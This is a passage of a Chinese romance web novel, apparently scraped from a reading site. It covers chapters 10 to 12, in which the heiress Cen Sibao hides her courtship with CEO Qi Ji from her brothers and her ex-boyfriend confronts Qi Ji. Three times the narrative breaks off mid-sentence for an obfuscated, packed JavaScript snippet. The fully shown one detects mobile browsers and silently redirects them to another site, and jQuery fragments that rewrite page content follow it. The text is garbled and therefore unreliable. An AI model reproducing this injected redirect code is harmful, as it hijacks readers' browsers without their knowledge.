张曼在一旁眨巴眨巴眼,看着光彩焕然的室友唇角提起。 “啧啧啧。” 听到声音,岑似宝猛地回头,身子一抽,“你怎么站在我后面?” 张曼沉默了一阵,“小岑同学,我眼睁睁看着你跟一阵风似的冲进门,又眼睁睁看着你跟一阵风似的冲到窗口,从始至终,我都站在这里。” 说着,她捏了捏岑似宝泛红的脸:“对了,要不要说呢?我刚才啊,还亲眼看见楼下有个人走路的时候,故意把自己的围巾松开,还摇啊摇,摇得快要垂地……” 岑似宝忍不住笑了出来,“居然被你看见了。” 张曼点头:“我都对你刮目相看了,你逗祁总有一手啊。” 岑似宝大大方方说:“那当然。” “所以你跟祁迹这是在一起了?” 她摇了摇头:“还没有。” “为什么?现在你应该知道他也喜欢你了吧?” 岑似宝换下外套,懒洋洋地倚着床:“我是这么轻易就能追到的吗?当初我可是追了他三天之久的,既然他那个时候没有把握好机会,那现在就只能吞下苦果喽。” 张曼想了想,“也对,是得为难一下他。” 看着岑似宝放在桌上的打包盒,张曼又问:“对了,你跟丁耀光也说清楚了吧?” 吃饭的时间省去了,却刚好被去医院的时间填补,她并没有发觉异样。 “应该吧,管他呢。”岑似宝实在懒得去想无关紧要的人,“吃饭吧。” 洗漱完,睡觉前,岑似宝又接到了岑衡的电话。 她又有些心虚。 虽然丁耀光的事情是在他知道前就解决了,但是还有祁迹的事呢。她跟祁迹说的,怕她哥知道了打死他,也是认真的。 想到这里,岑似宝又有些苦恼起来。 但是电话里还是伪装得好好的,并没有叫岑衡察觉到。 因为网上舆论的事,岑衡多问了一些,不过也知道她该睡了,掐着时间,只讲了十分钟,“好了,你挂电话吧。早点睡。” 岑似宝的苦恼也仅限这一通电话的时间。 挂掉电话,她就又抛到了脑后。 反正船到桥头自然直,天塌下来,还有祁迹顶着。 第二天,岑似宝神清气爽地起床,跟张曼一起出了门。 店里,周姐和店长正在讨论岑似宝今天还会不会来,说着,就见岑似宝走进了店门。 她的状态看起来比昨天还要好,笑眯眯跟她们打着招呼:“早啊。” 两人对视一眼,脸上的笑容要比昨天更加真心:“早,小岑。” 岑似宝看着她们起伏的表情,坏笑着说:“我来之前,你们是不是在想,我今天肯定不会来上班了?” 店长轻咳一声:“怎么会,你又没跟我提辞职。” 岑似宝正色道:“你们不用把我当什么娇滴滴的大小姐,有什么问题就跟我说,我会改的,而且我也不是不能吃苦。” 说完,她便转身去员工休息室换制服,只是走了两步,又转过头,补充了一句:“当然,也别什么苦都给我吃。” 周姐和店长都忍不住笑了出来。 一夜过去,岑似宝怼人的音频在网上广为流传,裕丰珠宝也跟着大出风头。 虽然没有公开身份,但是乘着这股东风,全国的门店营业额都有所增长,也包括CBD这家。 岑似宝能感觉到,这些新同事们对自己的态度也真正热络了起来。 与此同时,不知是不是那场小车祸刺激了祁迹,他开始主动接送岑似宝上下班。 岑似宝担心被岑量他们发现,想拒绝,却根本拒绝不了,于是只好商量着,让他将车停远点。 她本来还想带上张曼,但张曼跑得飞快,坚决不做电灯泡。 只是,大部分时候送完她回寝室,他还要回到公司继续工作。 岑似宝觉得自己没有那么脆弱,需要他全程看护:“不是有司机吗?” 祁迹看着前方的路,淡然反问:“唯一可以跟你独处的一点时间,也要剥夺?” 语气明明平淡,岑似宝却依稀听出了点委屈。 她两手抱怀,装作大方道:“好吧,那我就勉强给你这个机会。” 年关将近,店里需要准备送给重要客人的礼品,维护客户关系,岑似宝也被叫去帮忙理名单。 她先是一目十行地粗浅扫过,突然被一个名字吸引了视线。 “祁迹?” 周姐听到她的呢喃,以为她是在跟自己说话,于是说道:“是啊,这个祁总在我们店订了挺多袖扣,领带夹什么的,虽然从没露过面,都是寄送,不过也是挺重要的客户。” 但其中一条记录与其他的有些格格不入,岑似宝凝眸。 那是裕丰出过的一款手表,螺钿款式的,价格不便宜,产量不太高。 他买手表不稀奇,可它是情侣对表。 祁迹,居然订了一对情侣表。 岑似宝的目光移到时间,又是一顿。那是在她开始“追求”祁迹之前。 是买来送她的吗? 可他从来没跟她提起过。 “小岑?”周姐叫她,“看到什么了?怎么这副表情?” 岑似宝回过神,笑了笑:“没什么。” 她暂时将这件事放下,继续工作。 中午,岑似宝继续跟张曼一起去犀鸟科技的员工餐厅吃饭。 一进门,张曼的视线就是一亮。 指着最边上一个新开辟的点心窗口,她推了推岑似宝:“哇,居然还真跟联记合作了?这效率也太快了。” 此刻,新窗口前排起了长队,员工们也都议论纷纷,主要内容是夸赞公司大方。 岑似宝的嘴角上扬了一秒,又悠然落下。 虽然张曼和岑似宝都心知肚明那份调查问卷是为谁而开,但却也不是假公济私,其他员工的中肯意见都有被采纳。菜品,环境,都有更改升级。 两人选了一个靠角落的位置坐下。 “我现在是越来越支持祁总上位了。”张曼笑眯眯说。 岑似宝托着下巴:“那你也太容易被收买了。” “本来就是……” “盛经理,这里!”远处一声呼喊响起。 岑似宝无意间顺着声音抬头,看到了一个穿着职业套装,干脆利落的女人正朝那边走去,热情地回应了一声。 她注目了那道背影两秒,对方并没有注意到她。 张曼也跟着看了眼,询问:“怎么了?你认识那个人?” 岑似宝轻点了一下头,“是有点印象,应该不是初中就是高中的校友吧,但是叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“或者,你干脆直接问问他本人好了嘛。”她笑着建议。 岑似宝板起脸,“我才不问呢,特意去问这个,好像我在吃他的醋一样。” “好吧好吧,那就别多想了。” 岑似宝不是喜欢给自己增添烦恼的个性,一整个下午都忙着工作,并没有想起祁迹。 直到下班,见到祁迹的车,才又想起了这一茬。 虽说是不打算直接问,但她也有好奇心,和一点点小小的别扭。 所以一坐上车,她就心有所想看着祁迹。 他察觉到了,没有开车,只是挑眉看向她。 岑似宝错开他的视线,想了想,意味深长问:“祁总,你……有什么东西要送给我吗?” 祁迹面上显露出诧异:“你怎么知道?” 岑似宝立时睁大了眼,还真被她轻易诈出来了? 祁迹看着她的表情,摇头失笑,低声说:“什么时候才会朝后看?” 岑似宝茫然转过头,刹那间便看到了占满后座的娇艳鲜花,视野一亮。 竟全都是她喜欢的品种和颜色,她从前并没有告诉过他,也不知道他是怎么打听到的。 她一上车就光顾着观察祁迹了,如此明显居然都没有丝毫察觉,傻兮兮的。 她心头有些惊喜,又有些失落,“是花啊?” 祁迹从她的表情中发现了端倪,若有所思,“失望?” 岑似宝立刻反驳:“怎么可能?我很喜欢花啊。” 边说,她边下意识摩挲着手腕。 祁迹大概并没有瞧出她的暗示,而她还是忍不住好奇那只表的去向,于是举起手,在他眼前晃了晃,开始明示:“你不觉得,少了点什么吗?” 祁迹望着那截雪白纤细,没有任何装饰物的皓腕。 思忖着思忖着,不知想到了什么,眼瞳中逐渐绽出了一抹狼性的光。 他低声说:“嗯。确实少了点什么。” 岑似宝觉得他的眼睛亮得不太正常,也觉得,他所想的好像跟她真正暗示的东西背道而驰了。 “没少,我刚才开玩笑的。”她颤颤巍巍收起了手,却已被祁迹牢牢抓住。 天色渐暗,车内空间狭窄,面前高大的热源渐渐逼近,投下一道阴影,岑似宝却只有一条可怜的安全带作防护。 她不自觉抓紧了细细的安全带,肩背被抵在座位上,手也被圈住包裹,接着听见耳边,低低响起的话音仿若有暗流涌动: “所以,可以送戒指了?” 11.第 11 章 二更合一 岑似宝的心脏随着祁迹说出的那个词剧烈跳动了一下。 “当然不是这个!”她立刻反驳,甚至忘了将他推开。 祁迹看她摇曳着的漂亮瞳孔,止不住地笑,靠得越发近了:“那是什么?” 岑似宝将手背过身去,故技重施,拉着车门把手就想跑。 然而没拉动,被锁上了。 再看祁迹,他正笑望着她悄悄摸上车门的那只手,笑中是洞悉与打趣。 岑似宝低低地说:“狡诈。” 说完,脸被祁迹抬起。温暖的车内,一股冷冽气息扑面而来。 就在这时,车窗突然被敲了敲。 二人面庞交错,朝外头望去,是张曼。 岑似宝咳了一声,低声说:“是找我的,快让我出去。” 祁迹一顿,还是打开了车门,岑似宝立刻钻了出去。 张曼是提前收到了岑似宝的消息才来的,看她迫不及待的模样,视线掠过了她的嘴唇。 然后有些遗憾地移开了视线。 什么痕迹都没有。 她刚才站边上,看这车停得挺久了,合着俩人只是搁里头促膝长谈呢。 祁迹朝她礼貌地点了点头,又徐徐看向岑似宝的手。 岑似宝立刻弯腰去后座抱花,隔绝了他的视线。 道了别,张曼帮着她一起将花束拿上了楼。 “你俩刚才在车里说什么呢?问他手表的事了吗?”她小声问。 “别提了。”岑似宝的话语几乎是从牙缝里挤出来的:“感觉被做局了一样。手表他爱送谁送谁吧,这事儿翻篇,我再也不问了。” 张曼哦了一声。 过了一会儿,又说:“不过,你俩还真是老实啊,亲都没亲一下?”说着,她瞥见岑似宝围巾上方的脸隐隐红了一片。 好像……也不是,岑似宝想。 刚才,祁迹似乎是想亲下来的。 岑似宝忍不住回头看了一眼。 车窗还未升起,祁迹侧过脸,看着她,好似笃定她会回头看一样。 其实,如果刚才他真的亲下来了,她大概也不会抗拒的。 直到看不见人影了,车里,祁迹收起笑容,看了眼自己的手,若有所思。 周五傍晚,祁迹照常开车去接岑似宝下班。 岑似宝已经习惯,下意识朝那辆车走去,谁知一转眼,又看见了一辆熟悉的车。 岑量正坐在车里,有些不解地看着她。 岑似宝顿时惊出了一身冷汗,脚步立即调转了方向,朝着他走去。 “哥。”她坐上车后,岑量还狐疑地望向那个方向:“你刚才朝哪边走呢?我看你还挥手了,有认识的人在那儿等着?” 岑似宝装傻:“没有啊,你看错位了吧,还有你来接我怎么也不跟我说一声。” 岑量扭头看她,探了探她的额头,“以前每个礼拜不都是我跟岑衡轮流接你回家的?傻了?” “哦对,忙着工作,忘了。”岑似宝懊恼,习惯了祁迹接送,居然忘了这茬。 幸好她特意交代了祁迹停远点,才没有被岑量发现。 岑量轻叹一声:“我说你还是回家住吧,至少有人照顾,你看你,最近越来越不对劲了。” “你才不对劲呢,不对劲的人看谁都不对劲。” 另一边,祁迹坐在车里,看着岑似宝前脚对他笑容满面,后脚拔腿就坐上了岑量的车,再没看他一眼。 他指尖敲了敲方向盘,拿出手机。 很快,岑量便接到了电话,“喂,有事儿?” “吃饭?今天晚上啊?” “那可不行,我今天晚上接我妹妹回家。” 不知那头说了什么,岑量笑了,“你来我家干什么,我们一家人吃饭。” 岑似宝猛地抬头,立刻猜到了那头拨来电话的人,她手心都攥紧了。 然后在脑海中爆锤祁迹的Q版小人。 她望向窗外寻找,却根本看不清祁迹的车。 脑海中那个微笑着的Q版小人又被她一脚踹飞。 岑量说着说着,透过后视镜,发现了岑似宝微微僵直的坐姿,还有乱飞的五官,有些奇怪地多看了两眼,回过神,“你刚才说什么?” 他笑了一下,“你就这么差那一顿饭?” “哦,行,那就改天吧。” 听到这句话,岑似宝才像个漏气的气球,慢慢地放完了提起的气。 但还不忘给祁迹发去了数十排质问的感叹号。 那头很快回复:“没有去你家吃饭,很遗憾?” 岑似宝:“你曲解我的意思!” 对面只回了四个字:“迟早的事。” “身体不舒服?”岑量放下手机,担忧地问她,“你脸怎么好像有点红,过来我看看。” 岑似宝瘫在座位上,“没有,只是肚子饿了,开车吧。” 这还没在一起呢,就这么胆战心惊。 岑量看她应该没事,启动了车子。 “哥,你刚才跟谁打电话呢?”岑似宝小心地问。 “祁迹。”岑量直接说,“上回想谢他,请他吃饭,后来没吃,现在莫名其妙说要我请回来。” 岑似宝放下心来,看来他没听出什么猫腻。 想到那次没能吃成的原因,岑量扫了眼岑似宝,“对了,你跟那个哆啦A梦,怎么样了?” 虽然心知肚明两人应该是分了,但是表面上还是要装一装的。 岑似宝坐正了,显摆道:“别担心啦,我已经跟哆啦A梦分手了,这下你安心了吧?” 岑量点头,“是,不过要说安心……也不知道为什么,总感觉还是后背发凉。” 岑似宝闭上了嘴。 他的直觉确实很灵。 担心再谈到什么禁忌的话题,岑似宝干脆直接装睡,一路睡到了家。 岑量停好车,刚想叫醒她,她已经一溜烟下了车。 家里人早就等着了,岑似宝冲上去就喊:“奶奶!我回来了!” 慈眉善目的老太太抱着她不撒手,“我怎么掂量着又瘦了。” “哎哟您又来了,上个礼拜才见过我呢,而且我最近吃得可好了,一点都没瘦,你看。”岑似宝笑嘻嘻地在她的怀里蹭着,给她掐掐自己脸上的软肉。 岑量打量了她一眼,“是啊,她现在在祁迹公司的员工餐厅吃饭,胃口好得很,奶奶你就放心吧,迟早能养成一只小猪崽。” 岑似宝锤了他一拳,一旁几个大人也朝他甩去了眼刀。 岑量摸了摸鼻子,催促:“快去洗手吃饭吧,不是路上就喊着饿了?” 每周一次的家宴,最近岑似宝的爸妈在外地,亲哥也出差了,所以大伯和伯母特意推掉工作回来了。 “开始工作了,要成为大人了,真是辛苦了。”一圈人满脸心疼地给她夹菜。 岑似宝摇摇头,“其实没那么累,你们不用担心,我都习惯了。” 大伯母笑眯眯说:“厉害,我们小宝了不起,认真工作的女孩子都了不起。” 岑量也笑:“是啊,她一去,裕丰的营业额都增长了一截。” 奶奶骄傲地看着岑似宝,“我们都知道了。” 岑似宝咽下口中的饭,“奶奶,我在店里的这段时间,一直有对比我们跟别的品牌。” “现在的裕丰太老派了,光顾着求稳,好像还活在上个世纪似的,完全跟不上市场,我觉得,还是得注入点新鲜的血液。” 老太太果决道:“你放心大胆地干,做什么奶奶都支持你,那帮老古董,都不是问题。” 岑似宝重重点头。 岑量看她只跟奶奶交流,一时觉得心酸:“真是长大了,不是小时候什么事情都要哥哥帮着干的小朋友了。” 大伯瞧了他一眼,“你不带坏妹妹就不错了,我听说你还特意带她去见了你那堆不正经的朋友。” 岑量摸了摸鼻子,一听就知道是岑衡告的状,“不是特意,只是碰巧遇见而已。” 岑似宝看了看他,至少岑量帮她瞒着家里人丁耀光的事,她投桃报李,还是决定替他说回话:“不会啊,哥哥的朋友们都挺好的,不是坏人,而且认识更多的人对我也有帮助。” 岑量立刻说:“是啊,比如……祁迹这人就挺不错的,你们也知道。” 听到这个名字,岑似宝被呛了一下。 岑量连忙拍了拍她的背,“慢点儿吃,又没人跟你抢。” “我没事,咳咳咳咳。”岑似宝喝了口汤压了压,“我看你就在跟我抢,还好意思说我是猪,你吃得比我多多了。” 被她这么一打岔,话题总算绕过去了。 吃完饭,一家人聚在一起谈天,岑似宝满屋子溜达消食,就在这时,手机响了。 她低头一看,是祁迹。 她扫了一眼暂时没有注意到她动向的其他人,接着偷偷摸摸跑到了阳台,做贼似的接起了电话。 祁迹站在落地窗边,天边最后一缕暮色早已散尽,天际线被万家灯火点亮,或许其中也有她家的一盏。 他温声说:“吃完饭了?” 声音听起来没有什么异样,岑似宝回:“嗯,你吃了吗?” “还没有。” 她一愣,“怎么还没吃饭啊?你回家了吗?” 祁迹转头,走回办公桌沿,轻轻碰了碰,“没有。看到你头也不回地走了,我就回公司加班了。” 轻描淡写,说得岑似宝又是心虚又是心疼,也顾不得计较他故意打电话给岑量的事了,“那种时候,我怎么敢回头看啊,我哥嗅觉很灵的。” “你快点吃饭吧,都这么晚了。对了,余助理是不是也在加班啊?” “嗯。” “你不吃饭,他岂不是也不好意思吃?那多不好啊。” 祁迹的语气温和了些,“知道了。” 而路过给他送饭的余助理却惭愧地低下了头。 他很好意思吃,他早就吃完饭了。 毕竟,守卫上司的爱情也需要一副好身板。 他不像祁总,工作再忙,也可以在全市总裁健康状况调查白皮书中名列前茅。 要不是前段时间岑小姐怀着满腔好心给他照顾进医院了,他的健康水平是可以跟另外两位顾总和曲总掰掰手腕的。 可惜,现在略输一筹。唉。 岑似宝趴在阳台的小桌子上,遥遥望着远方林立的高楼,交错亮着的灯织成了一道连绵起伏流动的繁华,不知道他的公司是不是也在其中。 她问:“那你开始吃饭了吗?” 祁迹坐了下来:“马上。” 岑似宝想了想,又问:“薄乐是你的朋友吧?” “嗯,怎么了?” “可以给我推一下联系方式吗?” 祁迹的手指捏紧,眼中充满了对薄乐的肃杀情绪。 岑似宝接着慢悠悠说:“我想跟他谈笔生意,让裕丰跟林子深合作联名,我打听过了,林子深现在签到他手下了。” 祁迹的手指松开了。 听筒那头的声音轻了下来:“祁迹,你想听听我的想法吗?” 听她如此正经地叫自己的名字,祁迹眉眼微动,坐直了,“好。” 岑似宝的语气正经起来:“大家都知道,我们裕丰的客户群体比较单一,这些年来,市场份额也在不断流失,所以我一直在想着丰富裕丰的产品品类,最好跳出婚庆与收藏的传统场景,推出一些更适合年轻人消费习惯,性价比适中的轻珠宝。” “其次,趁着现在裕丰在年轻群体中的热度稍稍起来了点,我想借助网红画家的流量,撕掉裕丰老气的刻板标签,就算不能立刻撕掉,至少也是个开始吧。能接触到新生代客群,也是抓住未来的消费主力了。” “另外……” 清脆的嗓音通过信号电流,传输到了城市的另一边,祁迹安静听着,欣赏着岑似宝从未在他面前展露的另一面。 岑似宝想到什么说什么,说得口干舌燥,从阳台的一端走到另一端,沉浸其中。 歇了歇,她伸出手指,慢慢在栏杆上画了个笑脸,“还有,我研究过,喜欢林子深的人群本身消费水平就不低,同样符合我们的定位。” 说完,电话那头一直没声音。 岑似宝看了眼,确认还在通话中,“怎么样?喂,你不会睡着了吧?” 她不知道,祁迹现在正在后悔。 后悔今晚没有去她家吃饭,当面听她、看她。 祁迹将那股极为迫切的欲.望暂时收敛,嗓音沙哑:“听起来,你的合作计划书也已经写好了。” 岑似宝没有察觉:“是差不多了,前段时间没工作,待在学校的时候,也在调研呢。” 她顿了顿,语气变得不一样了:“祁迹,这份计划我目前谁都没告诉,就只告诉了你。” 她认真地又说了一遍:“你是第一个听到的。” 第一个——祁迹的眉眼一动,心都好似化成了一滩水,先前那点怨气早就飞到了九霄云外。 也幸好,他已经叫余助理出去了,没有另一个人跟他并列第一。 “我很高兴。”他沉声说。 岑似宝的嘴角也翘了起来。 突然想起什么,祁迹问:“你找岑量要林子深的画,也是为了研究?” 岑似宝嗯了一声,“是啊,那段时间看得多了,他们问我,我嫌解释麻烦,就直接说是喜欢他的画了。” 电话已经讲了很久了,岑似宝担心被家里人发现,说道:“好啦,你记得把薄乐的联系方式推给我,别的什么话都不要跟他说哦。” “我的改革计划第一步,这个小小的线头,就要由你拉动了。” 明明只是一件很小的事,整个联名计划也算不上特别了不得,但她说得却郑重其事。 祁迹心知肚明她哄人的小心思,却也甘愿跳进岩浆去,在她的甜言蜜语里泡得软绵融化。 “就这样吧,那我就挂了。”岑似宝话音刚落下,一转头,便看到岑量推开玻璃门走了过来。 她吓了一跳,连忙暗灭屏幕。 “你刚才跟谁打电话呢?怎么一声不吭跑到阳台来了?找你好久。”岑量皱起眉头。 他想起了刚才岑似宝无意识走动时的表情,他还从未见过,也说不清是温柔还是撒娇,总之怪异得很。 “咳,是张曼的电话啊,我们在聊天呢,聊八卦,八一八那些总裁们不为人知的密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这段时间我越来越确定,我真的想跟你走下去……” 岑似宝将他拉到了无人的角落里,只觉得头疼:“打住,别再说那些长篇大论了,我以为我已经讲得很清楚了,你什么品种啊,听不懂人话。” 见道理讲不通,她只好简单粗暴地说:“你这个样子,要是被我哥看见,是会被打的。” 丁耀光根本没把她那打黑工的哥放在心上,“我是真的喜欢你。” “你喜欢我,关我什么事。”岑似宝歪着头:“从始至终,我有跟你说过一句喜欢你吗?我确定自己没有这段黑历史。” 丁耀光一噎。 确实没有,他一直以为岑似宝同样喜欢他,且深信不疑,觉得还有挽回的余地,但这信念却在此刻崩塌了。 她居然称之为黑历史。 “我真的一点都不喜欢你,别再缠着我了。”岑似宝的脸色难得冰冷。 丁耀光的脸垂在阴影里,“你是不是有别的喜欢的人了?” 岑似宝迟疑了一下,没有立刻回答。 丁耀光明白了,咬着后槽牙,“行啊,分就分呗。” 她居然看不清楚,那些追求者,都不过是冲着她的美丽皮囊而去罢了。 她家境这么差,一个父母双亡的人,在婚恋市场上都是不吉利的存在,除了他,还有谁会如此真心地将她与他的未来都考虑进去? 离了他这个绩优股,上哪儿再去找条件这么好的、年纪相当的、不在乎她背景的人? 丁耀光虽然没有说出口,但这些话都映在了他看向岑似宝的眼中,燃烧着熊熊烈焰。 最终,这烈焰化为了一句深恨的话:“你知道吗,我家里人,已经打算给我出首付,在市中心贷款买房了。” “我才毕业一年。”他直勾勾看着岑似宝,等着她犹豫后悔。 岑似宝对他故作深沉的眼神感到莫名其妙,“那恭喜啊,才毕业一年就要背上房贷了。” 丁耀光:“……” 岑似宝现在开始怀疑,丁耀光总追着她不放,是想让她帮着还房贷。 她扭头就走,眨眼的功夫就不见了身影。 薄乐哼着歌,心情甚好地走出办公室,正好跟失魂落魄的丁耀光撞了个正着。 丁耀光自知冒失,连声道歉:“不好意思,老板,我没注意路。” 薄乐理了理衣服上的褶子,皱起了眉。 这段时间,丁耀光的状态一直不好,工作上也频频出错,再思及他的人品,这个人他肯定是不想留在身边的。 斟酌了一下,他说:“小丁,你这段时间……” 丁耀光并没有看出他眼中的冷漠,自顾自憔悴道:“这段时间,我女朋友闹着要跟我分手。” 薄乐拧眉,好啊,还叫女朋友呢,看起来这人贼心不死。 他更加厌烦了。 一方面是那么好那么甜辣的妹妹,这心机男实在不配,另一方面,要是被岑量知道了,作为老板,恐怕他也得受牵连。 想了想,他说:“我一会儿要去犀鸟科技,你跟我一起去。” 薄乐是故意的,他打算让丁耀光知道知道,岑似宝身边围着的都是什么类型的男人,好让他知难而退。 他对自己还是有自知之明的,但祁迹是其中的佼佼者,见了祁迹,必定可以让丁耀光自惭形秽。 丁耀光并未察觉他的真正意图,只以为是老板器重自己,总算打起了精神,点了点头:“好的。” 车上,司机平稳地开着车,薄乐看着窗外移动的风景,突然开口:“知道祁总吗?” 丁耀光忙说:“当然听说过,不过他好像不怎么在公众面前露面。” 薄乐颔首:“嗯,是个优秀又低调的人,长得也很好看。其实我觉得,女孩子应该都会更喜欢这一款。” 他语气意味深长,想让丁耀光意识到自己与其之间的差距。 闻言,丁耀光的目光却凶狠了起来:“说到这个,老板,我女朋友要跟我分手,恐怕也是因为移情别恋,喜欢上了别人。” 薄乐背过身去,暗自翻了个白眼。 丁耀光接着说:“要是对方是祁总那样优秀的人,我也就认了,可偏偏她喜欢的,只是个牙医。” “一个,各方面条件跟我勉强打平的牙医。”他双拳攥紧,“我承认,他跟我女朋友是有点配,但是我明明也不差啊!” 薄乐沉默了一下。 看了看他,想了想岑量所说的那位头发半白的五十多岁的女牙医,咬着指甲,又是一阵百思不得其解的沉默。 丁耀光抹了把脸:“不好意思老板,我刚才有点失态了。” 薄乐还是没说话。 他觉得丁耀光何止是失态,都有点变态了。 司机停好了车,余助理已经提前开好了权限,薄乐带丁耀光乘着电梯,直接从负一楼上去。 望着头顶跳跃的数字,丁耀光纠结了一阵,再度开口:“老板,您能帮我一个忙吗?” 薄乐:“什么忙?” 电梯门开了,两人走了出去。 丁耀光:“您能帮我找找那个牙医吗,这口气我实在咽不下去,我要让他付出代……” 薄乐突然笑着朝前方招手:“哟,祁总,特意出来迎接我啊?” 丁耀光缓缓抬头,瞳孔一缩。 12.第 12 章 余助理迎着众人进入了会客室。 “对了,你刚才说,要找谁?”薄乐跟祁迹热络地打完招呼,接着扭头问丁耀光。 “现在不用找了。”丁耀光喃喃出声。 对面,祁迹也看着丁耀光,目光冷然。 身旁的余助理同样上下打量着丁耀光。 哪怕以前没有见过丁耀光,但在祁迹的视线中,他这个聪慧的助理也立即明白了对方的身份。 岑小姐这个人什么都好,就是眼光不太好。 哦,也不对,他扫了眼祁迹。是时好时不好的。 薄乐只觉得气氛有些凝滞,正打算说些什么,就听丁耀光猝然崩溃出声:“你根本就不是岑似宝的牙医?!” “什么牙医?”薄乐被他的突然爆发惊住,等听清后,便一下子愣住了。 他怎么好像突然理解不了中文了?丁耀光怎么会以为岑似宝的牙医是祁迹? 祁迹先是一怔,随即骤然明白了一切,睫毛微动,眼中光华流转。 “原来你是这样的……难怪,难怪啊……”丁耀光换上了一副恍然大悟的表情,自言自语:“难怪她非要跟我分手,原来是搭上了真正的有钱人。” 在以为祁迹是牙医的时候,他还能勉强用精神胜利法欺骗自己,认为两人可以打成平手。但是现在,显然他远远不敌。 光是此刻的气场,就彻底落了下风。 可那不是他的错。 他愤懑瞪向了祁迹,一时忘了场合,只有满腔不被选择的郁气:“也是,嫌贫爱富也很正常,我理解。” “嫌贫爱富?”祁迹比丁耀光高大半个头,没几步就迈到了对面。 他敛眸看着他,嘴角带起冰冷蔑然的弧度:“说反了。她抛开我,去选择你,这叫嫌富爱贫。” 与此同时,余助理看着两人,眸中迸发出某种光芒,悄悄走到了角落。 时间已经快要到中午了,岑似宝来到门外,先张望了一下四周,确定丁耀光没有在附近等着。 估计上午说完,是真的放弃了。 随后她便朝前走去,准备到树下等待张曼,可还没走几步,突然接到了余助理的电话。 想起号码还是当初她打算追祁迹的时候塞给余助理的,那时她拜托他给她设置成祁迹的紧急联系人。 想到这里,岑似宝自己先笑了一下。 谁曾想,后来祁迹的紧急状况都是她造成的。 她心情不错,接起电话:“喂,余助理?你找我有事吗?” 余助理的声音一如既往地严肃,语速飞快:“岑小姐,大事不好了,祁总出事了。你是祁总的紧急联系人,所以我立刻就给你打电话了。” “嗯?”岑似宝的神经也跟着紧绷了起来,脑中闪过了无数悲惨的画面,声音发涩:“他怎么了?你快说!” 余助理省去前因后果,并进行了一些艺术加工:“是您的前男友,带着人找上门了。” 岑似宝的脸色唰得冷了下来,没想到丁耀光居然去找祁迹了,还是带人去的,“姓丁的是带人去打他了?” 张曼已经来到了跟前,岑似宝来不及解释,朝她挥了挥手,便一起朝着犀鸟科技跑去。 电话那头又传来了余助理的声音:“啊,那倒没有,祁总身强体壮,一般宵小不可能近他的身,就算来再多人也不怕,但是……” 余助理想了想,说:“他对祁总进行了人格侮辱。” 岑似宝来到马路边,望了望,没有车,立刻跑过去了,“他怎么侮辱的?” 余助理将手机朝着身后举去。 岑似宝并没有听到丁耀光说话,耳边是祁迹不冷不热的嗓音:“你应该感谢她的嫌富爱贫,才给了你偷走仙女衣服的机会。” “不过好在她衣服多,即使少一件,也不会有什么影响。” “她只是不追究,你抱着件偷来的衣服,却以为是自己配得上了。” 岑似宝隐约听到了丁耀光被气到你我她了半天也说不出下一个字。 余助理立刻将手机拿了回来,岑似宝也停下奔跑,看了眼手机,“你刚才说,谁在侮辱谁?” 余助理面不改色地继续捍卫上司:“不是这样的,您别误会,祁总刚才只是受了委屈,正在反击,真实情况是对面先动的嘴。” 岑似宝呼出口气:“知道,没误会。” 而且,祁迹说得挺好的。她翘了翘嘴角。 知道受气的不是祁迹,她也就放心地慢下了脚步,“谢谢你告诉我,我马上到。” 张曼歇了歇,这才顾得上问:“到底发生什么事了?你怎么跑起来了?” 岑似宝收起手机,解释:“是祁迹身边的助理给我打电话,说丁耀光去找祁迹了。” 张曼咋舌:“那他胆子挺大啊?看起来可真不像。” 岑似宝点了点头,“是啊,我也没想到,说是还带了人,听起来是有准备的。” 会客室内,一片混乱中,唯有薄乐站在一旁,仿若一个局外人。 他满脸震惊地看看祁迹,又看看丁耀光,缓缓捂住了嘴。 脑中闪过最初在画廊里,匆匆赴约的祁迹。 他研究着林子深的画,却说喜欢画的不是他,还有听到岑量提及岑似宝谈恋爱了之后,出现莫名的异样。 然后是餐厅里,他偏偏挤开了他,坐在了岑似宝的旁边。 后来岑似宝迟迟未归,他比她亲哥出去得还快。 还有两人之间奇怪的氛围,等等等等。 除此之外,还有他大晚上让他找的那个,叫丁耀祖的人。 原来如此,一切都串上了。 对了,还有祁迹挂他电话,现在看来,也真是跟岑似宝学的。 说起来,祁迹讽刺起人来,倒也是深得岑似宝真传。 想通了一切,薄乐缓缓后退了两步,就像是后宫里突然得知了帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076628|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王密辛的冷宫妃子。 丁耀光想吃天鹅肉是胆大包天,祁迹的暗度陈仓也不遑多让啊。 好一个正人君子,这人也太会装了,竟然伪装成了岑似宝的牙医,好让岑量卸下防备。 原来真正有心计的人是他。 感慨完,薄乐又苦恼起来,那他该不该告诉岑量? 要是不说的话,以后岑量知道了,他恐怕也跑不掉问责,眼下已经出了一个丁耀光了。 可岑量要是知道了,岑衡那边肯定也瞒不住,那就真的天崩地裂了。 岑衡离开前,估计还特意交代过祁迹关照自己妹妹,这一下给关照成妹夫了…… 薄乐的脑中一团乱麻之际,又突然想起刚才祁迹说的,岑似宝抛开了他,去选择丁耀光。 这意思是——岑似宝曾经还甩过祁迹? 薄乐实在没忍住,扑哧一乐。 不合时宜的笑声,让周围三道视线都徐徐移向了他。 薄乐抹了把脸,尽力将笑容抚平,“你们继续,别管我。” 说完他便坐了下来,翘起二郎腿,端起水杯,自在地吹了吹杯子上的茶叶。 这个消息要是告诉了岑量,岑量也会对他网开一面的。 丁耀光呼哧呼哧喘着粗气,整个胸腔仿佛一架破旧风箱,显然是被祁迹给气狠了。 在这种关头,他却一下子冷静了下来。 